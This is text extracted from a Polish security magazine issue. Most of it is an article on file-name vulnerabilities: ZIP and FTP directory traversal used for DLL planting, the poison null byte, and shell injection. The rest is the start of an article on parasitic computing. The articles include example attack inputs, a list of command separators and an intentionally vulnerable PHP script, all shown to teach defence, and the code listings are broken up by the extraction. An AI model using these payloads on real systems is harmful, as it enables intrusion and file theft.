śnym błędem z kursorami animowa-
nymi .ani – wewnętrzna funkcja sys-
temu Windows była podatna na atak 

typu buffer overflow podczas odczy-
tu danych z pliku z animowanym kur-
sorem,  również  przy  generowaniu 
podglądu w momencie listowania pli-
ków w katalogu za pomocą Windows 
Explorera lub dowolnego innego me-
nadżera plików wyświetlającego pod-
gląd  kursorów  animowanych)  zagro-
żenie może wzrosnąć.

Directory traversal

Pozostając  przy  tematyce  archiwów, 
warto  wskazać  często  występujący 
błąd, polegający na użyciu nazwy pli-
ku  zawartej  w  archiwum  bez  spraw-
dzenia,  czy  nie  zawiera  ona  znaków 
specjalnych służących do zapisu ście-
żek  relatywnych  –  czyli  kropki,  sla-
sha oraz backslasha, lub – w wypad-
ku, gdy jest to dopuszczalne – nie po-
informowania użytkownika o tym fak-
cie, np. prezentacja jedynie nazw pli-
ków,  bez  dołączonej  do  nich  ścież-
ki  względnej.  Przykładowo  w  plikach 
ZIP  możliwe  jest  zapisanie  relatyw-
nej ścieżki zawierającej odwołania do 
katalogu  nadrzędnego,  czyli  /../../../../. 
W  takim  wypadku  niewystarczająco 
zabezpieczona  aplikacja  rozpakowa-
łaby plik do jednego z katalogów nad-
rzędnych, a nawet w dowolnie wska-
zane  miejsce  przez  atakującego. 
W przypadku systemu Windows miej-
sce ograniczyłoby się do danej party-
cji.  Rozważając  konsekwencje  takiej 
możliwości, należy wskazać atak pod-
miany DLL (ang. DLL Spoofing), pole-
gający na utworzeniu w katalogu apli-
kacji biblioteki DLL o takiej samej na-
zwie,  jak  dowolna  nie-systemowa  bi-
blioteka DLL, z której korzysta aplika-
cja, a która normalnie jest umieszczo-
na w katalogu systemowym (na przy-
kład  w  C:\Windows\system32).  Spo-
wodowałoby to, że w momencie uru-
chomienia  aplikacji  zostałaby  zaim-
portowana  biblioteka  z  katalogu  apli-
kacji, a nie ta umieszczona w katalo-
gu systemowym – skutkując wykona-
niem kodu umieszczonego przez ata-
kującego w bibliotece DLL. Należy za-
uważyć, że w takim wypadku nie jest 
konieczna  podmiana  żadnego  pliku, 
a tym bardziej nie jest konieczne ręcz-
ne 
uruchomienie podstawionej biblio-
teki DLL. Atak ten połączony z opisa-
nym możliwym błędem w implementa-

Listing 2. 

Prosty skrypt tworzący pliki tekstowe

<

?

php

// Pobierz argumenty

if

(!

isset

(

$

_GET

[

'

name

'

])

 

||

 

!

isset

(

$

_GET

[

'

data

'

]))

  

die

(

'

Usage

:

 

set

 

name

 

to

 

file

 

name

and

 

data

 

to

 

data

'

);

$

fname

 

=

 $

_GET

[

'

name

'

];

$

fdata

 

=

 $

_GET

[

'

data

'

];

// Usun slashe jesli trzeba

if

(

get_magic_quotes_gpc

())

{

  $

fname

 

=

 

stripslashes

(

$

fname

);

  $

fdata

 

=

 

stripslashes

(

$

fdata

);

}

// Zapisz

file_put_contents

(

$

fname

 . '.

txt

', $

data

);

?

>

background image

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

33

cji rozpakowywania plików ZIP mógłby 
wyglądać następująco: w pliku ZIP po-
dana byłaby nazwa pliku w postaci:

../../../../../../../../Program  Files/
mIRC/wsock32.dll

W momencie rozpakowania (przy za-
łożeniu,  że  na  danym  dysku  istnie-
je  katalog  Program  Files  oraz  ka-
talog  mIRC)  plik  wsock32.dll  zo-
stałby  rozpakowany  do  katalogu 
\ProgramFiles\mIRC, a nie – jak użyt-
kownik  by  oczekiwał  –  do  katalogu 
wskazanego  przez  niego.  Dzieje  się 
tak dlatego, iż programista założył, że 
nazwa  nie  będzie  zawierała  ścieżki 
lub nie będzie to ścieżka, która odwo-
łuje  się  do  nadrzędnych  katalogów. 
W konsekwencji użył więc nazwy pli-
ku – bez uprzedniej korekty – w po-
leceniu  tworzącym  plik,  na  przykład 
CreateFile.  Wydawałoby  się  jednak, 
że aby przeprowadzić taki atak, nale-
ży znać dokładny poziom zagłębienia 
w strukturę katalogów w celu określe-
nia niezbędnej ilości odwołań do ka-
talogów  nadrzędnych  (czyli  dokład-
ną ilość ../). Jak się okazuje, nie jest 
to konieczne, ponieważ system Win-
dows nie zgłasza błędu, gdy następu-
je odwołanie do katalogu nadrzędne-
go w głównym katalogu dysku, przez 
co  możliwe  jest  użycie  nadmiarowej 
ilości  odwołań  do  nadrzędnego  ka-
talogu w celu upewnienia się iż kon-
tekst  faktycznie  dotrze  do  głównego 
katalogu dysku. W momencie, gdy ni-
czego  nieświadomy  użytkownik  uru-
chomi mIRC'a, uruchomiony zostanie 

również kod zawarty w podstawionej 
bibliotece wsock32.dll.

Tego  typu  błąd  pojawił  się  na 

przykład w wymienionym już wcze-
śniej Unreal Commanderze (w mo-
mencie  pisania  artykułu  jest  on 
nadal  niepoprawiony)  oraz  w  star-
szych wersjach Total Commandera.

Aplikacja  korzystająca  z  ze-

wnętrznych  nazw  plików  powinna 
zwracać  szczególną  uwagę  na  zna-
ki  umożliwiające  podróżowanie  po 
drzewie  katalogów  –  czyli  slashe, 
kropki oraz backslashe. Dobrym po-
mysłem  jest  konwersja  tych  znaków 
na  inne  (na  przykład  na  underscore 
_  )  lub  usunięcie  odwołań  do  kata-
logów  (np.  wykasowanie  wszystkich 
odwołań  do  nadrzędnych  katalogów 
– czyli ciągów ../ oraz /..) – w tym wy-
padku  należy  jednak  zwrócić  szcze-
gólną uwagę na to, czy usunięte zo-
stały  faktycznie  wszystkie  próby  od-
wołania  do  nadrzędnych  katalogów. 
W  wypadku,  gdy  ciąg  byłby  spraw-
dzany tylko raz, i ciąg ../ byłby usuwa-
ny  tylko  w  pierwszym  sprawdzaniu, 
możliwe  jest  stworzenie  ciągu  który 
po  usunięciu  pierwszych  ../  ponow-
nie sformułuje ciąg odwołujący się do 
katalogu  nadrzędnego.  Przykładowo 
weźmy poniższy ciąg:

ala/.../.../..//kot

Funkcja  usunęłaby  kolejne  wystą-
pienia ciągu ../, co spowodowałoby 
powstanie poniższego ciągu:

ala/../kot

Funkcja  usuwająca  powinna  więc 
poszukiwać  odwołań  do  katalogów 
nadrzędnych,  dopóki  na  pewno  nie 
zostaną usunięte wszystkie ciągi ../.

Remote 

directory traversal

Błąd typu directory traversal można wy-
korzystać również zdalnie, na przykład 
w przypadku aplikacji klienckich proto-
kołu  FTP,  które  pokładają  zbyt  duże 
zaufanie  w  poprawności  otrzymanych 
od serwera FTP nazw plików. Tego ty-
pu błąd występował w menadżerze pli-
ków Total Commander, do wersji 7.01 
włącznie 

(http://blog.hispasec.com/

lab/advisories/adv_TotalComman-
der_7_01_Remote_Traversal.txt
).

Total  Commander  po  połączeniu 

z serwerem FTP może wysłać do nie-
go jedną z komend takich jak: USER, 
PASS,  SYST,  FEAT,  PWD,  TYPE, 
PASV  oraz  LIST.  Odpowiedzią  ser-
wera  na  ostatnią  komendę  jest  lista 
plików  obecnych  w  danym  katalogu. 
Format listy zależy od serwera FTP, 
między innymi format UNIX Type: L8 
wygląda identycznie, jak wynik pole-
cenia ls -l, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:28 

plik

Aplikacja  spodziewa  się,  że  ostatnie 
pole  będzie  faktycznie  nazwą  pliku 
w danym katalogu i nie będzie zawie-
rać ścieżki względnej ani bezwzględ-
nej.  Możliwe  jest  zatem  stworzenie 
serwera FTP, który w liście plików bę-
dzie wysyłać plik z backslashami oraz 
kropkami w nazwie, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:
28 ..\..\..\..\..\Program Files\mIRC\
wsock32.dll

Okazuje  się,  iż  w  takim  wypadku  To-
tal  Commander  w  liście  plików  w  da-
nym  katalogu  FTP  wyświetli  jedynie 
samą nazwę pliku – czyli wsock32.dll
bez  pełnej  ścieżki  katalogów.  Jednak 
w momencie, gdy użytkownik zdecydu-
je się ściągnąć plik na dysk lokalny, To-
tal Commander użyje pełnej znanej so-
bie nazwy pliku, łącznie ze ścieżką ka-
talogów  i  odwołaniami  do  katalogów 
nadrzędnych. W przypadku, gdy użyt-

Rysunek 2. 

Okno raportu Fileinfo z wstawionym napisem Proof of concept

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

34

kownik ściąga z serwera więcej niż je-
den  plik,  na  przykład  kilka  plików  lub 
katalogów  wraz  z  zawartością,  Total 
Commander  nie  informuje  w  żaden 
sposób użytkownika o pliku skopiowa-
nym  do  innej  lokacji.  Jak  widać,  błąd 
jest dość groźny – w końcu nietrudno 
przekonać  użytkownika,  aby  ściągnął 
kilka katalogów z serwera FTP. Luka ta 
została poprawiona w wersji 7.02. Trze-
ba  przyznać,  iż  autor  Total  Comman-
dera dba o swoją aplikację – łatkę wy-
puścił kilka dni po otrzymaniu informa-
cji o luce.

Poison NULL byte

Kolejny błąd, już nie tak oczywisty jak 
poprzednie,  dotyczy  konwersji  meto-
dy  przechowywania  znaków  z  binar-
nie  bezpiecznej  (ang.  binary  safe)  na 
metodę stosującą terminator, na przy-
kład ASCIIZ – ASCII zakończone baj-
tem zerowym, ang. ASCII Zero-termi-
nated
).  Większość  języków  skrypto-
wych i opartych na maszynach wirtu-
alnych,  takich  jak  Perl,  PHP,  Python, 
Java,  itd.,  przechowuje  łańcuchy  zna-
ków  stosując  strukturę  składającą  się 
z  pola  zawierającego  liczbę  bajtów 
(znaków) w łańcuchu oraz tablicy baj-
tów (znaków) – danych łańcucha. Nato-
miast API popularnych systemów ope-
racyjnych, takich jak Windows czy sys-
temów  opartych  o  jądro  Linuksa,  ko-
rzystają ze stringów będących po pro-
stu tablicą znaków zakończoną termi-
natorem – w przypadku w/w systemów 
jest to znak o kodzie binarnym równym 
zero. W związku z tym, gdy implemen-
tacja poleceń języka wymaga odwoła-
nia do API systemowych, zachodzi po-
trzeba konwersji metody zapisu łańcu-
cha  znaków.  Problem  pojawia  się  w 
momencie, gdy łańcuch zawierał znak 
o  kodzie  równym  zero,  który  jest  cał-
kowicie  legalnym  znakiem  dla  meto-

dy  używanej  wewnątrz  języka,  jed-
nak  w  przypadku  łańcuchów  z  termi-
natorem zostanie zinterpretowany jako 
znak końca łańcucha. Korzystając z tej 
metody atakujący – używając bajtu ze-
rowego – może przedwcześnie zakoń-
czyć łańcuch, czyli zapobiec konkate-
nacji  kolejnych  łańcuchów.  W  rzeczy-
wistości  będą  one  doklejane,  jednak 
funkcje  API  będą  ignorować  wszyst-
ko,  co  następuje  po  bajcie  zerowym. 
Weźmy pod uwagę przykładowy skrypt 
znajdujący  się  na  Listingu  2.  Celem 
programisty piszącego ten skrypt było 
stworzenie prostego interfejsu pozwa-
lającego łatwo generować pliki teksto-
we z rozszerzeniem .txt, w dowolnej lo-
kacji na dysku. Atakujący mógłby jed-
nak użyć bajtu zerowego, by utworzyć 
plik o dowolnym rozszerzeniu, wykonu-
jąc na przykład zapytanie:

http://serwer/skrypt.php?name=evil
.php%00&data=evil _ script _ goes _
here

W tym wypadku API systemowe otrzy-
małoby  polecenie  utworzenia  pliku 
o  nazwie  evil.php\0.txt,  gdzie  \0  to 
bajt  zerowy,  natomiast  –  jako  że  bajt 
zerowy  to  w  tym  wypadku  termina-
tor – utworzony zostałby plik evil.php
a reszta nazwy zostałaby zignorowa-
na. Warto wspomnieć iż termin trujący 
bajt  zerowy
  (ang.  poison  NULL  byte
został pierwszy raz użyty w roku 1998 
przez  Olafa  Kircha  na  liście  Bugtraq. 
Na błąd typu poison NULL byte podat-
ne było między innymi phpBB. Błąd ten 
wykryty został przez hakera o pseudo-
nimie ShAnKaR w roku 2004.

Shell injection

Niekiedy programiści uważają za sto-
sowne  przekazać  otrzymaną  z  ze-
wnątrz  nazwę  pliku  do  innego  ze-
wnętrznego  skryptu  bądź  programu 
za  pomocą  polecenia  typu  system(), 
popen()  lub  analogicznych.  W  takich 
wypadkach wyjątkowo ważne jest za-
dbanie o to, by otrzymana nazwa pliku 
nie zawierała żadnego separatora po-
leceń – znaku lub ciągu znaków, który 
umożliwiłby  atakującemu  uruchomie-
nie  dodatkowego  polecenia.  W  przy-
padku systemów opartych o jądro Li-
nuksa uruchomienie dodatkowego po-

lecenia można uzyskać w jeden z na-
stępujących sposobów (Listing 3). Do-
datkowo  możliwe  jest  przekierowanie 
standardowych  strumieni  za  pomocą 
<  (stdin),  >  (stdout)  oraz  2>  (stderr). 
Przykładowy  skrypt  podatny  na  tego 
typu atak wygląda następująco:

<?php system(„file” . $_GET['name']); ?>

W  zamierzeniu  programisty  skrypt 
miał  wypisywać  informację  korzy-
stając z polecenia file o typie wska-
zanego  pliku.  Atakujący  mógłby 
jednak  wykonać  zapytanie,  które 
spowodowałoby  uruchomienie  do-
datkowego polecenia, na przykład:

http://serwer/info.php?name=;cat%20.ht

passwd

W takim wypadku wykonane zostało-
by polecenie system z parametrem file 
;cat .htpasswd
. Programista korzysta-
jący z zewnętrznych poleceń powinien 
zwrócić  szczególną  uwagę  na  otrzy-
mywane z zewnątrz dane, w szczegól-
ności powinien z nich usunąć wszelkie 
znaki umożliwiające wykonanie dodat-
kowych poleceń – takie jak 

; | & ` $ 

( )

. Przykładowo język PHP udostęp-

nia w tym celu funkcje escapeshellarg 
oraz escapeshellcmd.

Inne

Oprócz powyższych, często popełnia-
nych zaniedbań, programista powinien 
oczywiście  również  uważać  na  stan-
dardowe błędy typu przepełnienie bu-
fora czy format bug. Błędy te były opi-
sywane już wielokrotnie, więc zainte-
resowany Czytelnik nie powinien mieć 
trudności ze znalezieniem dokładniej-
szych informacji na ich temat.

Różnice 

w systemach plików

Na  koniec  warto  wspomnieć  o  kilku 
trywialnych  różnicach  między  sys-
temami  plików  używanych  w  syste-
mach  z  rodziny  Windows  oraz  PO-
SIX-owych, czyli stosujących systemy 
plików  rozróżniające  wielkość  liter, 
które  mogą  utrudnić  życie  programi-
ście  tworzącemu  międzyplatformo-
wą  aplikację.  Systemy  POSIX-owe 
w  większości  przypadków  korzystają 

Listing 3. 

Wykorzystanie 

separatorów do 
nieautoryzowanych poleceń

; polecenie
| polecenie
&& polecenie
|| polecenie
`polecenie`
$(polecenie)

background image

Niebezpieczne nazwy plików

z systemów plików, które jednoznacz-
nie określają nazwę pliku – czyli, z po-
minięciem  linków  symbolicznych,  je-
den plik ma tylko i wyłącznie jedną na-
zwę, i wyłącznie po tej nazwie można 
się  do  niego  odwołać  –  chodzi  m.in. 
wrażliwość na wielkość liter. Nie jest 
tak w przypadku systemów z rodziny 
Windows.  Jako  przykład  weźmy  plik 
ala.txt  –  można  się  do  niego  odwo-
łać używając nazwy ala.txtALA.TXT
aLa.TxT,  lub  ala.TXT  –  system  ten, 
nie dość że jest niewrażliwy na wiel-
kość liter, to jeszcze ignoruje wszyst-
kie  kropki  występujące  na  końcu 
nazwy  pliku.  Dodatkowy  wariant  od-
wołania  do  pliku  pojawia  się  w  wy-
padku, gdy plik ma nazwę, której nie 
można zapisać w formacie 8.3 (8 zna-

ków nazwy, 3 znaki rozszerzenia) – na 
przykład  alamakota.txt.  Do  pliku  od-
wołać się można wtedy korzystając ze 
skróconej  wersji  jego  długiej  nazwy, 
czyli na przykład alamak~1.txt. Nale-
ży zauważyć, że z tego powodu archi-
wum zawierające pliki ala.txtaLa.TxT
oraz  ALA.TXT  zostanie  rozpakowa-
ne  w  zupełnie  inny  sposób  w  syste-
mie POSIX-owym oraz systemie z ro-
dziny Windows. Kolejnym problemem 
mogą być zastrzeżone już w czasach 
MS-DOS nazwy plików, takie jak con
nul  czy  com1  –  com9.  Pliki  o  takich 
nazwach mogą bez problemu istnieć 
w  systemach  POSIX-owych,  nato-
miast w systemach z rodziny Windows 
takie pliki nie mogą zostać utworzone 
a przynajmniej w standardowy sposób. 

Jeszcze inny problem mogą sprawić al-
ternatywne strumienie danych w syste-
mie plików NTFS, do których odwołuje 
się za pomocą dwukropka. Przykłado-
wo plik ala:kot mógłby być normalnym 
plikiem w systemie POSIX-owym, nato-
miast w przypadku systemu korzystają-
cego z NTFS ala:kot oznacza strumień 
kot w pliku ala. Ostatnią bardzo widocz-
ną różnicą jest zapis ścieżek katalogów 
– w przypadku systemów POSIX-owych 
separatorem katalogów jest slash, nato-
miast w przypadku systemów z rodziny 
Windows  może  to  być  zarówno  slash, 
jak  i  backslash.  Tak  więc  plik  ala\kot 
mógłby być normalnym plikiem w sys-
temie  POSIX-owym,  ale  w  systemie  z 
rodziny Windows oznaczałby on plik kot 
w katalogu ala.

Podsumowanie

Mam nadzieję, iż niniejszy artykuł po-
może  programistom  ustrzec  się  błę-
dów związanych z obsługą nazw pli-
ków otrzymanych z zewnątrz, a teste-
rom  wskaże  miejsca,  w  których  po-
tencjalny błąd mógłby zaistnieć. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym. 
Kontakt z autorem: gynvael@coldwind.pl

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

36

Atak

P

rzesyłanie  informacji  za  pośrednic-
twem  Internetu  jest  złożonym  proce-
sem  regulowanym  przez  zestaw  pro-

tokołów.  Protokoły  te  implementowane  są 
obecnie  zgodnie  z  globalnym  standardem 
– określającym warstwy funkcjonalne wymaga-
ne do obsługi połączeń – o nazwie  OSI (Open 
System  Interconnection
).  Kiedy  użytkownik 
wpisuje do swojej przeglądarki internetowej ad-
res URL w celu obejrzenia strony WWW, prze-
glądarka  nawiązuje  połączenie  przy  wykorzy-
staniu  protokołu  TCP  (Transmission  Control 
Protocol
).  W  następnej  kolejności,  przy  wy-
korzystaniu  istniejącego  połączenia  TCP,  wy-
syłane  jest  żądanie  za  pośrednictwem  pro-
tokołu  HTTP  (Hyper  Text  Transfer  Protocol). 
Pakiet  TCP  jest  przesyłany  przez  sieć  za  po-
średnictwem  protokołu  IP  (Internet  Protocol). 
Przesyłany komunikat może zostać  podzielo-
ny na mniejsze pakiety, które przesłane zosta-
ną niezależnie przez szereg routerów znajdu-
jących się między źródłem a miejscem docelo-
wym. Kiedy żądanie HTTP dotrze do miejsca 
przeznaczenia,  odpowiedź  odsyłana  jest  tym 
samym połączeniem TCP, jakie zostało nawią-
zane przez przeglądarkę użytkownika.

Mechanizmy  zaimplementowane  w  proto-

kołach  TCP/IP  rekonstruują  oryginalny  komu-

nikat ze zbioru pakietów, jakie zostały przesła-
ne przez sieć. Komunikat ten jest ostatecznie 
przetwarzany w warstwie aplikacji przez proto-
kół  HTTP.  Po  zinterpretowaniu  żądania  przez 
serwer  WWW  zostaje  wygenerowana  odpo-
wiedź (może to być właściwa strona, komuni-
kat o błędzie itd.).

Jak widać, prosty z pozoru proces wymaga 

dosyć  znacznej  liczby  obliczeń  –  zarówno  po 
stronie wysyłającej, jak i odbierającej żądanie. 
Niezawodność komunikacji, jaką zapewnia do-

Obliczenia pasożytnicze

Michał Styś

stopień trudności

Niezawodne przesyłanie danych w Internecie gwarantowane 

jest przez zestaw protokołów sieciowych implementowanych 

w systemach komputerowych. Artykuł ten pokaże, w jaki sposób 

protokoły te mogą zostać wykorzystane w celu zmuszenia 

zdalnych systemów do nieświadomego wykonania użytecznych 

z punktu widzenia napastnika obliczeń.

Z artykułu dowiesz się

•   w jaki sposób wykorzystać protokoły sieciowe, 

aby  wykonywać  obliczenia  na  komputerach 
podłączonych do Sieci,

•   jakie  znaczenie  dla  bezpieczeństwa  kompu-

terowego ma trudność rozwiązywania proble-
mów klasy NP.

Co powinieneś wiedzieć

•   powinieneś mieć podstawową wiedzę o modelu 

OSI,

•   powinieneś  rozumieć,  jak  działają  protokoły 

sieciowe.

background image

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

37

datkowo  protokół  TCP,  wprowadza 
takie elementy jak trójfazowe uzgad-
nianie  połączenia,  potwierdzanie 
otrzymania  pakietu,  sumy  kontrolne 
oraz numery sekwencyjne. Elementy 
zapewniające  niezawodność  komu-
nikacji  można  jednak  wykorzystać 
w  zupełnie  innym  celu  niż  ten,  do 
którego zostały zaprojektowane.

Pasożytniczy komputer

Termin pasożytniczy komputer odno-
si się do realizacji abstrakcyjnej ma-
szyny  składającej  się  z  rozproszo-
nych w sieci komputerów. Podobnie 
jak w przypadku standardowych pro-
jektów  realizujących  obliczenia  roz-
proszone,  maszyna  ta  zbudowana 
jest w oparciu o protokoły sieciowe. 
W odróżnieniu jednak od nich, układ 
pasożytniczy  wykonuje  obliczenia 
bez  wiedzy  i  pozwolenia  właścicie-
la  komputera  ofiary,  wykorzystywa-
nego jako węzeł obliczeniowy. Infor-
matyka pasożytnicza nie musi zakła-
dać również konieczności ingerencji 
w  oprogramowanie  działające  na 
komputerze  ofiary.  Nie  dochodzi  tu-
taj do włamania do zdalnego systemu 
ani  też  instalowania  na  nim  jakiego-
kolwiek złośliwego oprogramowania.

Realizacja 

pasożytniczego 

komputera

Protokół  TCP  dobrze  nadaje  się  do 
zrealizowania  idei  pasożytniczego 
komputera  w  praktyce.  Do  tego  ce-
lu posłużyć może mechanizm sumy 
kontrolnej
.

Pakiet  przesyłany  przez  Inter-

net może w którymś momencie ulec 

uszkodzeniu.  Przykładowo,  seria  sy-
gnałów  elektrycznych  reprezentu-
jących  bity  może  zostać  zmieniona 
w czasie przepływu przez kabel kon-
centryczny wskutek tłumienia lub in-
terferencji wywołanych przez źródła 
pól elektromagnetycznych znajdują-
cych się w pobliżu medium transmi-
syjnego.  Aby  zapewnić  niezawod-
ność w tego typu sytuacjach, proto-
kół TCP wprowadza mechanizm su-
my kontrolnej. Komputer wysyłający 
pakiet  oblicza  jego  sumę  kontrolną 
i  dołącza  ją  do  pakietu.  Następnie 
operację obliczenia sumy kontrolnej 
odbiorca  wykonuje  na  otrzymanym 
pakiecie. Jeśli suma kontrolna zapi-
sana w pakiecie zgadza się z sumą 
obliczoną dla tego pakietu, oznacza 
to, że dane są poprawne i mogą być 
przekazane  do  wyższych  warstw 
protokołów  modelu  OSI.  Jeśli  wy-
stąpiła niezgodność, pakiet uznawa-
ny jest za uszkodzony, a warstwa TCP 
usuwa  go  i  nie  wysyła  do  odbiorcy 
potwierdzenia otrzymania danych.

Interesującą  nas  właściwością 

tego mechanizmu jest fakt, że suma 
kontrolna  TCP  wyliczana  jest  przy 
wykorzystaniu  operacji  wystarcza-
jących  do  wykonania  każdej  ope-
racji mieszczącej się w zakresie al-
gebry Boole'a. Istnieje zatem możli-
wość  wykorzystania  go  jako  bram-
ki logicznej. To z kolei otwiera drzwi 
do  wykonywania  operacji  arytme-
tycznych.

Implementacja  układu  obliczeń 

pasożytniczych  wykorzystujących 
protokół  TCP  polega  na  zbudowa-
niu  pakietu  ze  specjalnie  sprepa-
rowaną  sumą  kontrolną.  Kompu-

ter  ofiary  w  procesie  przetwarza-
nia żądania i generowania odpowie-
dzi  automatycznie  wykona  zlecone 
obliczenie  –  podczas  wykonywania 
algorytmu  sprawdzania  sumy  kon-
trolnej.  Zakres  działania  omawia-
nych  mechanizmów  wystarcza  do 
zbudowania pasożytniczego układu 
obliczeniowego.

Informatyka 

pasożytnicza

W  obliczu  omówionego  potencjału 
związanego  z  możliwością  korzy-
stania  z  zasobów  obliczeniowych 
komputerów  w  Internecie  pojawia 
się  pytanie:  do  czego  można  taki 
mechanizm zastosować?

W roku 2001 czterech naukow-

ców – Albert Laszlo Barabasi, Vin-
cent  W.  Freeh,  Hawoong  Jeong 
oraz  Jay  B.  Brockman  –  zapropo-
nowało  mechanizm  rozwiązywa-
nia  problemu  klasy  NP  (non-poly-
nomial
)  przy  wykorzystaniu  obli-
czeń  pasożytniczych.  Ich  publika-
cja wzbudziła spore zainteresowa-
nie, jako że na trudności rozwiązy-
wania  problemów  tej  klasy  opiera 
się całe bezpieczeństwo współcze-
snych mechanizmów kryptograficz-
nych. Gdyby znaleziony został spo-
sób  na  rozwiązywanie  problemów 
NP w rozsądnym czasie, większość 
znanych  technik  kryptograficznych 
stałaby się bezużyteczna.

Aby  rozwiązywać  problemy 

matematyczne przy wykorzystaniu 
sumy kontrolnej TCP, konieczna je-
stodpowiednia reprezentacja proble-
mu.  Dla  problemów  NP  stosowna 
w  tym  przypadku  jest  reprezen-

Listing 1. 

Program dla pasożytniczej maszyny wirtualnej napisany w mikroassemblerze 4IA (plik sub.4ia)

ARCH

    

8

  

10

   

;

 

Definicja

 

architektury

Rejestry

 

o

 

d

ł

ugo

ś

ci

 

8

 

bit

ó

w

liczba

 

rejestr

ó

w

 – 

10

00

:

  

SET

 

r3

0xFF

 

;

 

Do

 

rejestru

 

r3

 ł

adujemy

 

warto

ść 

-

1

01

:

  

SET

 

r2

5

          

;

 

Do

 

rejestru

 

r2

 ł

adujemy

 

5

B

ę

dzie

 

to

 

ilo

ść 

iteracji

 

w

 

p

ę

tli

 

02

:

  

SET

 

r9

100

      

;

 

Rejestr

 

r9

 

przechowa

 

warto

ść, 

od

 

kt

ó

rej

 

b

ę

dziemy

 

odejmowa

ć

03

:

  

SET

 

r0

4

          

;

 

Do

 

rejestru

 

instrukcji

 ł

adujemy

 

numer

od

 

kt

ó

rego

 

zacznie

 

si

ę 

p

ę

tla

04

:

  

ADD

 

r9

r3

       

;

 

Wykonujemy

 

operacj

ę 

odejmowania

 

na

 

rejestrze

 

r9

 

(

100

+

(

-

1

))

05

:

  

SET

 

r1

0

          

;

 

Reset

 

flagi

 

przepe

ł

nienia

06

:

  

ADD

 

r2

r3

       

;

 

Zmniejszamy

 

licznik

 

p

ę

tli

 

o

 

1

07

:

  

ADD

 

r0

r1

       

;

 

Je

ś

li

 

flaga

 

przepe

ł

nienia

==

1

skaczemy

 

do

 

instrukcji

 

09

08

:

  

SET

  

r0

9

         

;

 

Koniec

 

p

ę

tli

skok

 

do

 

linii

 

10

09

:

  

SET

  

r0

3

         

;

 

P

ę

tla

 

trwa

skok

 

do

 

linii

 

04

10

:

  

HLT

                  

;

 

Koniec

 

dzia

ł

ania

 

programu

 

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

38

tacja  problemu  jako  Boole'owskie 
równanie  spełnialności.  Równania 
takie określa się jako SAT. Równa-
nia  spełnialności  SAT  pozwalają 
na  zapis  problemu  przy  wykorzy-
staniu  operatorów  logiki  Boole'a. 
Jako przykład równania SAT może 
posłużyć następująca konstrukcja:

P=(x1 XOR x2) AND (~x2 AND x3)

P

 oznacza tu problem, natomiast 

x1

x2

  oraz 

x3

  są  parametrami.  W  pre-

zentowanym  przykładzie  istnieje  23 
potencjalnych  rozwiązań,  ale  rów-
nanie będzie spełnione tylko dla jed-
nego z nich – w tym przypadku 

x1=1

,

 

x2=0

x3=1

.  Rozwiązywanie  proble-

mów  SAT  polega  na  odnalezieniu 
takiej  wartości  wszystkich  parame-
trów,  aby  całe  równanie  mogło  być 
spełnione.  Zaprezentowany  przy-
kład  równania  SAT  jest  trywialny
i może być rozwiązany bardzo łatwo. 
W przypadku bardziej złożonych rów-
nań  zawierających  więcej  parame-
trów problem staje się NP-zupełny.

Z uwagi na swoją specyfikę, rów-

nanie  SAT  może  zostać  zapisane 
jako  sekwencja  bitów,  która  zosta-
je  następnie  uformowana  w  pakiet 
TCP  i  wysłana  do  ofiary  jako  ele-
ment problemu do policzenia. 

Scenariusz pasożytniczego kom-

putera  zilustrowany  został  na  Ry-
sunkach  1  oraz  2.  W  pierwszym 
kroku  komputer-pasożyt,  nadzo-
rujący  proces  wykonywania  obli-
czeń,  przygotowuje  2n  specjalnie 
skonstruowanych  pakietów  zawie-
rających  wszystkie  możliwe  kom-
binacje parametrów równania SAT. 
Następnie  wysyła  spreparowane 
pakiety TCP do pewnej liczby ma-
szyn-ofiar. Maszyny te wyposażo-
ne  są  w  jednostki  arytmetyczno-
logiczne,  umożliwiające  wykony-
wanie  obliczeń  oraz  w  interfejsy
sieciowe umożliwiające zdalne po-
łączenia  (warunki  te  spełnia  każ-
dy  komputer  podłączony  do  Inter-
netu).  Pakiety  zawierające  błęd-
ne  rozwiązania  nie  posiadają 
prawidłowej sumy kontrolnej i zosta-
ją  odrzucone  (ilustruje  to  strzałka 
z  opisująca  błędne  rozwiązanie). 
W  przypadku,  gdy  rozwiązanie 
problemu  jest  poprawne,  oblicze-
nie  sumy  kontrolnej  zakończy  się 
sukcesem,  a  pakiet  trafi  w  górę 
stosu protokołów.

Ponieważ  protokół  HTTP  za-

kłada  generowanie  odpowiedzi  na 
wszystkie, nawet niepoprawne, żą-
dania,  zostanie  ona  wysłana,  gdy 
tylko pakiet dotrze do warstwy apli-

kacji.  Dzięki  temu  można  rozpo-
znać,  który  zestaw  parametrów 
jest poprawnym rozwiązaniem pro-
blemu SAT.

Po  wysłaniu  wszystkich  pakie-

tów do milionów komputerów w In-
ternecie  odpowiedziałyby  tylko  te, 
które  otrzymały  pakiety  zawiera-
jące  parametry  równania  SAT  bę-
dące  prawidłowym  rozwiązaniem. 
Reszta pakietów zostałaby po pro-
stu odrzucona. Możliwe jest zatem 
odnalezienie  rozwiązania  bez  wy-
konywania  obliczeń  na  lokalnym 
komputerze.

Barabasi,  Freeh,  Jeong  oraz 

Brockman przeprowadzili udaną pró-
bę  rozwiązania  równania  SAT  przy 
wykorzystaniu  omawianej  techni-
ki.  Udowodnili  tym  samym  tezę,  że 
możliwe  jest  zmuszanie  kompute-
rów  w  Internecie  do  wykonywania 
konkretnych  obliczeń  bez  koniecz-
ności  naruszania  ich  infrastruktury 
i  instalowania  na  nich  dodatkowego 
oprogramowania.  Dodatkowo  spo-
re  problemy  stwarza  zabezpiecze-
nie  się  przed  tego  typu  technikami. 
Ponieważ wykorzystywane są stan-
dardowe mechanizmy zapewniające 
funkcjonowanie  komputera  w  sieci, 
uniemożliwienie  takich  obliczeń  jest 
praktycznie nierealne.

Obliczenia pasożytnicze 

w praktyce

Czy  opisane  techniki  wystarcza-
